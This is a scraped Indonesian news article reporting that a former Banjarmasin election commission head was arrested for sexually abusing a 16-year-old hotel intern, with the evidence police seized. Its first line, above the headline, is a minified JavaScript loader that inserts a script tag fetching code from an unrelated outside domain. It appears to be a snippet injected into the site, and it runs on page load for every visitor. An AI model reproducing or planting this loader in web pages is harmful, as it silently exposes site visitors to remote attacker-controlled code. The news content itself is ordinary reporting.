(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dari HP, Flasdisk, hingga Rekaman CCTV, Bukti Kuat Gusti Makmur Lakukan Aksi Pencabulan


KANALKALIMANTAN.COM, BANJARBARU – Ditetapkannya mantan Ketua KPU Banjarmasin Gusti Makmur sebagai tersangka kasus pencabulan remaja berusia 16 tahun, membuat geger masyarakat. Kurang lebih 3 jam menjalani pemeriksaan pada Kamis (30/1/2020) pagi, akhirnya Gusti Makmur harus merasakan dinginnya sel tahanan.

Dalam kasus ini, Polres Banjarbaru mendapati sejumlah barang bukti yang menguatkan penanahan tersangka. Di antaranya baju korban, handphone (HP), flasdisk, juga rekamam CCTV di Hotel Grand Dafam Q Hotel.

Kapolres Banjarbaru, AKBP Doni Hadi Santoso mengatakan, diamankannya HP maupun flasdisk milik tersangka, lantaran terdapat dokumentasi yang menunjukan aktivitas tersangka tanggal 25 Desember 2019, tepat saat melakukan aksi asusila tersebut.

“Seperti yang diketahui, aksi pencabulan ini terjadi di toilet Grand Dafam Q Hotel. Nah, di handphone dan flasdisk yang kita sita ini, terhadap dokumentasi yang menunjukan tersangka sedang berada disana pada tanggal 25 Desember itu,” kata saat pers rilis, Kamis petang.
Kehadiran Gusti Makmur di Grand Dafam Q Hotel, memang sebelumnya telah dibenarkan oleh kuasa hukumnya sendiri, yakni Dian Corona. Diakui Dian, kliennya datang pada tanggal 25 Desember 2019, demi menghadiri rapat koordinasi (Rakor) MUI se Kalsel, yang digelar selama 3 hari.

“Benar, klien kami berada di Grand Dafam Q Hotel pada tanggal 25 Desember 2019. Dia di situ dalam rangka menghadiri acara rapat koordinasi MUI se-Kalsel,” akunya.

Pun, yang lebih menguatkan lagi ialah rekaman CCTV di lobi hotel. Tentunya, lewat rekaman CCTV hotel, akan memperlihatkan aktivitas pengunjung atau tamu yang keluar masuk toilet hotel pada hari itu. Maka dengan begitu pula, penyidik mendapati bahwa Gusti Makmur memasuki toilet hotel dan melakukan aksi pencabulan terhadap pria yang sedang magang saat itu.

Terkait penahan ini, kuasa hukum Gusti Makmur telah mengajukan permohonan penahan kota terhadap kliennya. Sementara itu, pihak Kepolisian sampai saat ini masih melakukan penyidikan terkait motif pencabulan yang dilakukan eks Ketua KPU Banjarmasin tersebut. Tidak hanya itu, Petugas Kepolisian juga masih mendalami kasus ini dengan kemungkinan adanya korban lain.

Nampak, Gusti Makmur sendiri hanya bisa mengangkat wajah saat dirinya digiring oleh pihak kepolisian. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.